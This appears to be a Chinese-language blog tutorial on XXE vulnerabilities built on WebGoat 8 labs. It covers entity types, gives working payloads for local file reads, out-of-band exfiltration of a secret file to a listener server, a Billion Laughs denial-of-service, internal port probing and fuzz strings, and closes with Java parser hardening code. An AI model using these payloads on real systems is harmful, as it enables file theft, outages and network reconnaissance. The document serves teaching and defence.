Web安全--XXE

0x01 簡介

 

順手搜了一下CVE,XXE的問題還真不少。

XXE,XML External Entity (外部實體)。

DTD(文檔類型定義)的作用是定義 XML 文檔的合法構建模塊。它使用一系列的合法元素來定義文檔結構。

一般實體(General Entities)

可在xml中進行引用,&js;

 

<?xml version="1.0" standalone="yes" ?>
<!DOCTYPE author [
  <!ELEMENT author (#PCDATA)>
  <!ENTITY js "Jo Smith">  // js 爲dtd中聲明的內部實體
]>
<author>&js;</author>  // 通過&js;進行引用

外部實體(External Entities)

可獲取外部資源(非xml中聲明的),可用於一般實體、參數實體

 

<?xml version="1.0" encoding="utf-8"?>
// DTD 定義,root爲聲明的外部實體
<!DOCTYPE user [
    <!ENTITY root SYSTEM "file:///c:\"> 
]> 
<comment> 
  <text>&root;Hello</text>  //&root;引用
</comment>
​
// 也可以是使用PUBLIC關鍵字進行定義,讀取公共資源
<!ENTITY name PUBLIC "any_text" "URI/URL">

外部是實體支持http、file等協議,具體如下:

 

參數實體(Parameter entities)

可在doctype聲明中使用,也可以在實體定義value 中使用


<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://192.168.3.112:9090/WebWolf/files/attack.dtd">
%remote;
]>
<comment>
  <text>test&ping;</text>
</comment>
​
// 其他如:
<!ENTITY % name "Hello World">
<!ENTITY % name "Hello %myEntity;">

說完實體的概念,基本就能看清楚漏洞的原理了,通過外部實體(http、ftp)獲取信息。

0x02 漏洞危害

讀取任意文件

因爲外部實體支持ftp協議,可以構造payload獲取目錄、文件信息。

具體可參考webgoat8 xxe stage 3,利用也比較簡單。

 

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE user [<!ENTITY root SYSTEM "file:///c:\"> ]>
<comment> 
  <text>&root;xxe</text>
</comment>

如果沒有回顯,通過Bland XXE(OOB)進行利用,具體參考webgoat8 xxe stage 7

搭一個服務器(A)接收http請求發送的數據,A服務器定義attack.dtd

目標機解析包含payload的xml,外部實體讀取attack.dtd,然後發送數據至獲取數據。

attack.dtd

 

<?xml version="1.0" encoding="UTF-8"?>
// 參數實體、外部實體,讀取目標機文件
<!ENTITY % file SYSTEM "file:///c:/Users/derek/.webgoat-8.0.0.M24/XXE/secret.txt"> 
// 參數實體,實體內定義外部實體訪問A服務器併發送讀取的內容
<!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.3.103:9091/landing?text=%file;'>">
%all;

payload:

 

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://192.168.3.103:9091/files/admin1/attack2.dtd">
%remote;
]>
<comment>
  <text>test123---&send;</text>
</comment>

DOS攻擊

通過構造惡意實體,指數級生成超大xml文檔,服務器在解析時好景資源,導致DOS。此示例及著名的Billion laughs attack

payload:

 

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

內網探測

因爲外部實體支持ftp、http等協議,所以可利用進行內網探測(服務器、端口),甚至進行賬號、密碼爆破。

服務器、端口探測

 

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE user [<!ENTITY root SYSTEM "http://192.168.3.103:9090/index.html"> ]>
<comment> 
  <text>&root;xxe</text>
</comment>

用webgoat8 xxe 的例子試一下,把webwolf當成內網機器。

 

左邊是可訪問地址,返回解析錯誤。

 

"javax.xml.bind.UnmarshalException\\n - with linked exception:
\\n[javax.xml.stream.XMLStreamException: 
    ParseError at [row,col]:[4,15]
\\nMessage: http:\\/\\/192.168.3.103:9091\\/WebGoat]\\r\\n\\tat com.sun.xml.bind.v2.runtime.unmarshaller.UnmarshallerImpl.handleStreamEx

右邊端口未開放,拒絕連接,且響應時間明顯會長一些。

 

"javax.xml.bind.UnmarshalException\\n - with linked exception:
\\n[javax.xml.stream.XMLStreamException:
ParseError at [row,col]:[4,15]\\nMessage: Connection refused: connect

遠程代碼執行(RCE)

針對PHP環境中安裝expect擴展,通過返回報錯信息、返回時間等進行判斷。

payload如下,具體示例懶得搭環境了。

 

 <?xml version="1.0"?>
    <!DOCTYPE ANY [
    <!ENTITY test SYSTEM "http://ip:80/tets.txt">
    ]>
    <abc>&test;</abc>

 

0x03 漏洞檢測

黑盒

  • 看到xml傳輸數據,必須試一把xxe;
  • 對於一些json傳輸,修改content-type,是否可注入xml;
  • 使用xml標籤進行閉合,是否可打到篡改目的;
  • 單引號、雙引號、註釋、地址符、外部實體引用

 

‘    "    &  < >  ]]>
<!-- 
<![CDATA[ / ]]> -    
<![CDATA[<]]>script<![CDATA[>]]>alert(‘xss’)<![CDATA[<]]>/
script<![CDATA[>]]>
<!ENTITY test SYSTEM "http://ip:80/tets.txt">
  • XML Injection Fuzz Strings   fuze工具
https:/wfuzz.googlecode.com/svn/trunk/wordlist/Injections/ XML.txt

白盒

審計源碼,查看XML處理是否禁用實體,常用的xml解析類如下:

  • DOM: import javax.xml.parsers.DocumentBuilder/DocumentBuilderFactory
  • Dom4j: import org.dom4j.io.SAXReader
  • JDOM:    import org.jdom2.input.SAXBuilder
  • SAX:   import javax.xml.parsers.SAXParser/SAXParserFactory
  • JAXB: import javax.xml.bind.Unmarshaller
  • StAX: import javax.xml.paresers.SAXPareserFactory / javax.xml.stream.XMLStreamReader
  • javax.xml.transform.TransformerFactory

除了上方列出xml解析器,一些存在XXE的常用第三方組件:

  • Spring OXM & Spring MVC(3.0.0 - 3.2.3)
  • Spring OXM (4.0.0.M1)
  • Spring MVC (4.0.0.M1-4.0.0.M2)
  • Apache POI  (3.11以下,excel解析)

0x04 防禦

防禦的話,最好直接禁用DTD;

如果有需要使用DTD,禁用外部實體;

對用戶輸入進行必要的驗證及過濾;

  • DocumentBuilderFactory

 

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
String FEATURE = null;
try {
​
    FEATURE = "http://apache.org/xml/features/disallow-doctype-decl";
    dbf.setFeature(FEATURE, true);
    FEATURE = "http://xml.org/sax/features/external-general-entities";
    dbf.setFeature(FEATURE, false);
    FEATURE = "http://xml.org/sax/features/external-parameter-entities";
    dbf.setFeature(FEATURE, false);
    FEATURE = "http://apache.org/xml/features/nonvalidating/load-external-dtd";
    dbf.setFeature(FEATURE, false);
​
    dbf.setXIncludeAware(false);
    dbf.setExpandEntityReferences(false);
​
    ...
} catch (XXXException e) {
    ...
} 
  • XMLInputFactory

 

 

// This disables DTDs entirely for that factory
xmlInputFactory.setProperty(XMLInputFactory.SUPPORT_DTD, false); 
// disable external entities
xmlInputFactory.setProperty("javax.xml.stream.isSupportingExternalEntities", false); 

 

  • XMLReader

 

XMLReader reader = XMLReaderFactory.createXMLReader();
reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// This may not be strictly required as DTDs shouldn't be allowed at all, per previous line.
reader.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); 
reader.setFeature("http://xml.org/sax/features/external-general-entities", false);
reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
  • SAXReader

 

saxReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
saxReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
saxReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
  • SAXBuilder

 

SAXBuilder builder = new SAXBuilder();
builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
builder.setFeature("http://xml.org/sax/features/external-general-entities", false);
builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
Document doc = builder.build(new File(fileName));
  • Ummarshaller

 

//Disable XXE
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
spf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
​
//Do unmarshall operation
Source xmlSource = new SAXSource(spf.newSAXParser().getXMLReader(), 
                                new InputSource(new StringReader(xml)));
JAXBContext jc = JAXBContext.newInstance(Object.class);
Unmarshaller um = jc.createUnmarshaller();
um.unmarshal(xmlSource);

參考:

https://www.freebuf.com/articles/web/177979.html

https://www.freebuf.com/column/181064.html

https://www.freebuf.com/vuls/176837.html

https://www.freebuf.com/vuls/194112.html

https://xz.aliyun.com/t/2571

https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.md

https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/XML_Security_Cheat_Sheet.md

 

 

 

 

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章